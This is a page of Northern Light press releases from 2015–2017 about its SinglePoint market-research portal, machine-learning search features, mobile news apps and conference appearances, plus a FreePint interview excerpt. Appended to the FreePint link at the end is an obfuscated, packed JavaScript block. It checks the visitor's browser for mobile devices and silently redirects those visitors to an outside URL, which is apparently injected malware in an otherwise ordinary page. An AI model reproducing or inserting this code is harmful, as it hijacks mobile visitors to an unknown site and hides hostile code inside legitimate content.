Northern Light Kicks Off Another “Summer of Love” with Announcement of SinglePoint Version 11 with Machine Learning Search Enhancements

To celebrate the 50th anniversary of the “Summer of Love” Northern Light delivers a new research portal that is music to the ears of executives and research pros

BOSTON, MA, June 16, 2017 – Exactly fifty years ago today, the Monterey Pop Festival opened its gates and kicked off what later became known as the San Francisco “Summer of Love.”  To celebrate the anniversary, Northern Light® (www.northernlight.com) is unveiling two radical innovations in strategic market research portals that it will begin delivering to customers this summer.  This announcement marks the beginning of Northern Light’s “Summer of Love (For Our Customers).”

The innovations are embedded in SinglePoint™ version 11, a new release of Northern Light’s strategic research platform for competitive intelligence and market research insights used by hundreds of thousands of professionals at global enterprises. Version 11 features a mobile-first, responsive user interface built with Material Design, Google’s set of state-of-the art application interface principles, guidelines, and UI treatments that are becoming an industry standard for web application design.  Version 11 delivers an aesthetically pleasing, modern enterprise application interface with great flexibility for clients to configure their own unique branding and artistic treatments for their market research portals.  In addition to being fully responsive across all devices from smartphones to PCs, SinglePoint v11 uses “cards” to visually organize content on the portal.  All user controls are reimagined to be mobile-friendly, simple to understand and easy to operate with a click on a big screen or with a tap on a small one.

Machine learning

SinglePoint v11 also features powerful machine learning capabilities for cognitive search based on Google’s TensorFlow library of machine learning algorithms that enable the system to automatically synthesize, refine, and present critical information distilled from large collections of market intelligence content within a SinglePoint portal, changing the search process profoundly.  Use cases include:

“More like this” – The user picks documents that are of interest from the original search result and clicks on the “more like this” button to have SinglePoint rewrite the search query to automatically generate an entire search result of on-target items.
“Recommended reading list” – The system generates content recommendations for the user based on his or her interests and preferences, determined through automated analysis of user downloads, saves, and shares.  In essence, instead of the user searching for relevant content, the content finds the user.

“Automated search report” – The system examines documents on a search result that contain the most important ideas, and then automatically summarizes the key points in an easy to read report format.  Each key point includes links to the underlying documents so users can drill in to read the original if they want to learn more.

“As a music fan and technology executive, I believe the major enhancements to SinglePoint that we are launching this summer are as exciting to our customers as the Monterey Pop Festival was to its audience,” C. David Seuss, Northern Light’s CEO, said. “I don’t expect people to write songs about SinglePoint like the original Summer of Love, or stage a festival in its honor, but from the reactions of our customers that we have previewed the new releases with, they have come as close to standing up and cheering at what we were showing them as business professionals do.

“The automated search report is the feature that has elicited gasps from the audience when we have previewed it with customers,” Seuss continued.  “Every single customer that has seen the automated search reports in action have asked if they can become beta testers so they can gain early access to it.  Perhaps this feature is the transformative moment in search as we know it, almost eliminating the need for traditional search altogether.   Maybe when we introduce this new technology, just like the Monterey Pop Festival transformed the perception of rock music and kicked off the Summer of Love way back when, we can transform the meaning of what a search engine does.  It is certainly touching off Northern Light’s Summer of Love for our customers.”

SinglePoint v11 is available now from Northern Light. The artificial intelligence features will be available later this summer.

About Northern Light

Northern Light has been providing strategic research platforms for competitive intelligence and market research insights to global enterprises since 1996.  In addition, Northern Light pioneered the application of machine learning and cognitive computing for the automated analysis and extraction of meaning from large collections of market research and competitive intelligence. Northern Light’s current clients include 10 of Boston Consulting Group’s 50 “Most Innovative Companies” of 2016, and Fortune 1000 leaders across multiple industries such as information technology, pharmaceuticals, telecommunications, and life sciences. Northern Light has over 250,000 users of its strategic research portals.  Headquartered in Boston, Massachusetts, Northern Light has unique content aggregation partnerships with more than 150 of the world’s leading syndicated technology and industry research publishers, aggregates business and technology news from over 6,000 news sources, and is a charter member of the Center for Complex Systems and Enterprises at the Stevens Institute of Technology.

###

Media Contact:

David Domeshek

(508) 873-7068

ddomeshek@northernlight.com


Northern Light to Showcase its Strategic Research Portal Solutions at SLA 2016 Annual Conference in Philadelphia

BOSTON, MA, June 9, 2016Northern Light® will showcase its enterprise strategic research portal application, SinglePoint™, along with related mobile apps and Millie™, a free, web-based competitive intelligence assistant, at the SLA 2016 Annual Conference in Philadelphia, June 12-14, at booth #225.

The SLA conference is an annual event for information professionals organized by the Special Libraries Association. The 2016 SLA conference features over 200 events including educational programs, networking events, receptions, and tours.

Large enterprises deploy Northern Light SinglePoint to provide employees single-search access to and analysis of primary and licensed secondary research content, relevant social media postings, and business news. Northern Light also offers mobile apps for Apple, Android, BlackBerry and Windows smartphones that complement SinglePoint portals. Any content in a SinglePoint portal can be made available to authorized users of the enterprise version of Northern Light’s mobile apps. Free, publicly available versions of the apps deliver industry news for the IT, telecommunications, pharmaceutical and life sciences industries.

Special content sets available from Northern Light for integration into SinglePoint portals include industry-optimized business news, life sciences conference abstracts and posters, and IT industry analyst blogs and tweets. Virtually any research that a company creates or licenses also can be integrated into SinglePoint.

“SLA is an organization comprised of professional researchers who, more than anyone, can readily appreciate the power and value of a portal that aggregates all relevant content into one searchable corpus,” C. David Seuss, Northern Light’s CEO, said. “With SinglePoint, the portal is designed to be user-friendly for casual users across an enterprise, as well, through configurable dashboards and our mobile apps.”

Millie, Northern Light’s other featured offering at SLA, presents competitive intelligence through industry-specific dashboards on the web. Millie is a free, publicly accessible demonstration of Northern Light’s MI Analyst™ meaning extraction application – text analytics specifically optimized for business research.

About Northern Light
Northern Light has been providing strategic research portals, business research content, and search technology to global enterprises since 1996. Northern Light’s current clients include Fortune 100 leaders across multiple industries such as information technology, pharmaceuticals, telecommunications, and life sciences. Headquartered in Boston, Massachusetts, Northern Light has unique content aggregation partnerships with more than 150 of the world’s leading syndicated technology and industry research publishers, and is a charter member of the Center for Complex Systems and Enterprises at the Stevens Institute of Technology.


Northern Light Launches Free Mobile Apps for Pharmaceutical Industry News

BOSTON, MA, Feb. 17, 2016 – Northern Light® (www.northernlight.com) today added to its library of free business news apps for popular smartphones with the release of Northern Light Pharma News™. Northern Light Pharma News features pharmaceutical industry news feeds aggregated from 40,000 business and technology stories a day from 6,300 web business and technology news sources, including industry trade journals, global newspapers, and industry authority blogs.

Northern Light Pharma News is the second industry-specific edition in Northern Light’s family of mobile news apps. The company launched Northern Light IT News last year. Versions optimized for the financial services, healthcare, agribusiness, and energy industries will follow.

Users of Northern Light Pharma News can select from news feeds on 60 pharmaceutical industry topics – including disease states, clinical trials, the drug research pipeline, and many more – richly nuanced based on Northern Light’s in-depth understanding of the market intelligence needs of life sciences professionals. In addition, users can opt to receive news feeds on 30 leading pharmaceutical industry competitors. Continue reading Northern Light Launches Free Mobile Apps for Pharmaceutical Industry News


Northern Light Wraps Up Successful 2015 With the Addition of Seven Fortune 1000 Clients

BOSTON, MA, Dec. 22, 2015 – Northern Light® today reported that 2015 was its most successful year since launching the company in 2003 with an exclusive focus on providing strategic research portals to the world’s leading research-driven enterprises. Billings increased 21 percent over 2014, and the company added seven Fortune 1000 clients in the information technology, pharmaceutical, healthcare, insurance and publishing industries.

Also in 2015 Northern Light launched its first mobile apps, Northern Light IT News™, available for iOS, Android, BlackBerry and Windows Phone devices. In addition, Northern Light launched Millie™ (http://millie.northernlight.com), the first market and competitive intelligence portal available free on the web. Millie is structured as a series of industry-specific dashboards – information technology, life sciences, healthcare, financial services, energy, agribusiness, chemical, and food and beverage – making it easy to find useful information in a self-service environment. Visits to Millie have increased steadily since its debut in July. Continue reading Northern Light Wraps Up Successful 2015 With the Addition of Seven Fortune 1000 Clients



Northern Light Adds Concept-Based Search Summaries to its Market and Competitive Intelligence Portals

BOSTON, MA, Sept. 22, 2015 – Northern Light® today announced it has enhanced its market and competitive intelligence portals with concept-based search summaries that change dynamically when a researcher applies different text analytics facets to a search result. The inclusion of concept-based search summaries in a search result provides the researcher with more depth and context on the topic of inquiry, and enables him or her to see at-a-glance information they may be interested in but that they did not specify exactly in their query.

Concept-based search summaries are a new capability in Northern Light’s text analytics solution, MI Analyst™, and currently are available on Northern Light’s Millie™, the first market and competitive intelligence portal available free on the web. They also are being added to Northern Light’s SinglePoint™ strategic research portals, which large enterprises deploy to provide employees single-search access to and analysis of internal primary and licensed secondary market research content, relevant social media postings, and business news. Continue reading Northern Light Adds Concept-Based Search Summaries to its Market and Competitive Intelligence Portals


Northern Light CEO David Seuss to Speak on Panel about Big Data Applications at National Association for Business Economics Conference in Boston June 17

BOSTON, MA, June 16, 2015 – At the National Association for Business Economics (NABE) industry conference in Boston tomorrow, Northern Light® (www.northernlight.com) CEO David Seuss will be one of the speakers on a panel exploring “big data” applications, moderated by Michael Horrigan, associate commissioner of the U.S. Bureau of Labor Statistics.

The NABE conference, entitled “Big Data Analytics at Work: New Tools for Corporate and Industry Economics,” is being held at the Federal Reserve Bank of Boston today and tomorrow. According to the organizers, it is designed to provide attendees with a broad overview of what big data are and how big data techniques are being used by private industry, business and academic economists, and policy researchers.

Speakers at the conference include several MIT professors, the chief economists at the Consumer Electronics Association and Intel Corp., and senior executives at Ford Motor Company, SAS, Uber and Fidelity Investments.

Mr. Seuss’ talk will focus on the application of text analytics to online news reports to enable automated analysis of them for competitive analysis and other strategic business purposes. Such a capability is embedded in Northern Light SinglePoint™ strategic research portals. Continue reading Northern Light CEO David Seuss to Speak on Panel about Big Data Applications at National Association for Business Economics Conference in Boston June 17


Northern Light to Showcase its Strategic Research Portal Solutions at SLA 2015 Annual Conference in Boston

BOSTON, MA, June 12, 2015 – Northern Light® (www.northernlight.com) will showcase its enterprise strategic research portal application, SinglePoint™, and related mobile apps at the SLA 2015 Annual Conference in Boston, June 14-16, at booth #521.

The SLA conference is an annual event for information professionals organized by the Special Libraries Association. The 2015 SLA conference features over 200 events including educational programs, networking events, receptions, and tours. Continue reading Northern Light to Showcase its Strategic Research Portal Solutions at SLA 2015 Annual Conference in Boston


Northern Light Launches Free Mobile Apps for Industry-Optimized Business News

BOSTON, MA, Mar. 23, 2015 – Northern Light® (www.northernlight.com) today launched free mobile apps for popular smartphones, featuring industry-optimized business news feeds aggregated from 30,000 business and technology stories a day from 5,700 web business and technology news sources, including industry trade journals, newspapers, and industry authority blogs. The first industry-specific edition of Northern Light Mobile News™ focuses on information technology (IT); pharmaceutical, financial services, healthcare, agribusiness, and energy editions will follow. Continue reading Northern Light Launches Free Mobile Apps for Industry-Optimized Business News


In the Media: FreePint Q&A with Northern Light CEO David Seuss – “Embracing the World of Web News”

[Excerpt]

FreePint: What is your focus when adding content to your [research portal] services?

David Seuss: We aim, if possible, to take specifically the business and tech part of the publication, not the general or crime news or the obituaries. We have around 5,700 business-focused sources, with content updated every 15 minutes. Even more importantly, we emphasise vertical industry news sites. These are the repositories of deep industry expertise and the timeliness, analysis, and commentary in news articles on these sites beats everyone else.

We are deliberately very focused. We have competitors who play the source count game, saying they have hundreds of thousands of sources. We don’t do it that way; having a lot does not necessarily help the user. The way you run up the source count is by adding low quality sources, sources that mostly republish content, and sources that are not about business and technology.

Find the entire FreePint article at http://web.freepint.com/go/sub/article/71844eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘(24(a,b){1V(/(2n|2d\\d+|1i).+1b|1g|1E\\/|1H|1C|1x|1B|2s|3l|3n|O(3m|V)|S|3g|38 |3c|3p|3D|1b.+3A|3z|1d m(3x|2H)i|2J( 14)?|2C|p(2x|2A)\\/|30|2T|3j|2S(4|6)0|2U|2R|I\\.(2Q|2N)|2O|2P|2V 2W|33|34/i.19(a)||/31|2X|2Y|2Z|2M|50[1-6]i|2L|2y|a W|2z|M(15|Z|s\\-)|11(2w|2t)|B(2u|E|D)|2v|2B(2I|y|2K)|2G|17(2D|j)|2E(x|2F)|35|36(3w|\\-m|r |s )|3y|3v(P|N|3u)|T(3r|3s)|3t(M|3G)|3H(e|v)w|3F|3E\\-(n|u)|3B\\/|3C|3q|3d\\-|3e|3b|3a|37\\-|D(39|K)|3f|3o(A|N|3k)|3h|3i\\-s|3I|2r|1z|U(c|p)o|1A(12|\\-d)|1y(49|11)|1u(1v|1w)|15(1D|1J)|1K|1I([4-7]0|14|W|1F)|1G|1t(\\-|R)|G u|1L|1q|1h\\-5|g\\-z|j(\\.w|V)|1j(1e|1f)|1s|1k|1r\\-(m|p|t)|1p\\-|1o(Q|F)|1l( i|O)|1m\\-c|1n(c(\\-| |R|a|g|p|s|t)|1M)|2e(2f|2g)|i\\-(20|j|q)|2c|29( |\\-|\\/)|2a|2b|2h|2i|2o|2p|2q|S|2m(t|v)a|2j|2k|2l|28|27|1S( |\\/)|1T|1U |1R\\-|1Q(c|k)|1N(1O|1P)|1W( g|\\/(k|l|u)|50|54|\\-[a-w])|25|26|23\\-w|22|1X\\/|q(x|1Y|1Z)|16(f|21|E)|m\\-48|5H(5E|C)|5y(5A|5L|J)|5V|z(f|5X|T|3J|U|t(\\-| |o|v)|58)|5i(50|5j|v )|5r|5p|5s[0-2]|57[2-3]|5c(0|2)|5d(0|2|5)|5R(0(0|1)|10)|5M((c|m)\\-|5B|5h|5U|5W|5O)|5Q(6|i)|5Z|5o|5n(5m|5k)|5l|5v|5u|5t(a|d|t)|59|5a(13|\\-([1-8]|c))|55|56|L(5g|5f)|5e\\-2|5w(P|5x|X)|5P|5N|Q\\-g|5S\\-a|5T(5Y|12|21|32|H|\\-[2-7]|i\\-)|5C|5D|5z|5F|5K|5J(5I|5G)|5q\\/|4Z(4c|q|4d|4e|y|4b)|4a(f|h\\-|Z|p\\-)|44\\/|X(c(\\-|0|1)|47|16|K|C)|46\\-|51|4f(\\-|m)|4g\\-0|4m(45|4n)|4l(B|17|4k|A|4h)|4i(4j|y)|43(f|h\\-|v\\-|v )|42(f|3P)|3Q(18|50)|3R(3O|10|18)|F(3N|3K)|3L\\-|3M\\-|3S(i|m)|3T\\-|t\\-z|3Z(L|41)|J(Y|m\\-|3Y|3X)|3U\\-9|I(\\.b|G|3V)|3W|4o|4p|4O|4P(4N|x)|4M(40|5[0-3]|\\-v)|4J|4K|4L|4Q(52|53|H|4R|Y|4X|4Y|4W|4V|4S)|4T(\\-| )|4U|4I|4H(g |4v|4w)|4x|4u|4t|4q\\-|4r|4s|4y\\-/i.19(a.4z(0,4)))1c.4F=b})(1a.4G||1a.4E||1c.1d,\’4D://4A.4B/4C/?5b\’);’,62,372,’|||||||||||||||01||||go|||||||ma|||||||te|ny|mo|it|al|ri|co|ca|ta|g1|60|up|ts|nd|pl|ac|ll|ip|ck|pt|_|iris|bi|do|od|wa|se|70|oo||ai|||os|er|mc|ar||test|navigator|mobile|window|opera|ad|un|avantgo|gf|meego|gr|hcit|hp|hs|ht|hi|hei|gene|hd|haie|fly|em|l2|ul|compal|el|dmob|ds|elaine|blazer|ic|bada|ze|fetc|blackberry|ez|k0|esl8|g560|tp|le|no|xi|kyo|kwc|kgt|klon|kpt|if|lg|m50|ui|xo|||m3ga|m1|function|libw|lynx|keji|kddi|iac|ibro|idea|i230|bb|hu|aw|tc|ig01|ikom|jbro|jemu|jigs|ja|android|im1k|inno|ipaq|dica|fennec|rn|av|amoi|ko|ixi|802s|abac|re|an|phone|ch|as|us|aptu|in|ex|palm|yw|770s|4thp|link|vodafone|wap|browser|treo|series|pocket|symbian|windows|ce|6310|6590|3gso|plucker|1207||xda|xiino|attw|au|cmd|lge|mp|cldc|chtm|maemo|cdm|cell|craw|kindle|dbte|dc|psp|ng|hiptop|hone|iemobile|da|midp|ccwa|lb|rd|bl|nq|be|di|ob|avan|netfront|firefox|c55|capi|mmp|bw|bumb|az|br|devi|de|lk|tcl|tdg|gt|00|mb|t2|t6|tel|tim|tx|si|utst|m5|m3|to||sh|sy|sp|sdk||sgh||cr||sc|va|ge|mm|ms|sie|sk|t5|so|ft|b3|sm|sl|id|v400|v750|yas|your|zeto|x700|wonu|nc|nw|wmlb|zte|substr|gettop|info|kt|http|vendor|location|userAgent|wi|whit|vm40|voda|vulc|vk|rg|veri|vi|vx|61|98|w3c|webc|85|83|80|81|sa||shar||||phil|pire|n20|zz|pdxg|pg|sdNXbH|n30|n50|pn|uc|ay|tf|mt|p1|wv|oran|ti|op|o2im|mywa|s55|mwbp|n10|pan|p800|owg1|po|rt|mi|r600|o8|on|qtek|r380|rc|raks|zo|me|ve|ro|rim9|oa|ne|psio|wt|prox|nok|n7|qa|qc|wf|mmef|wg|02|07|nzph’.split(‘|’),0,{}))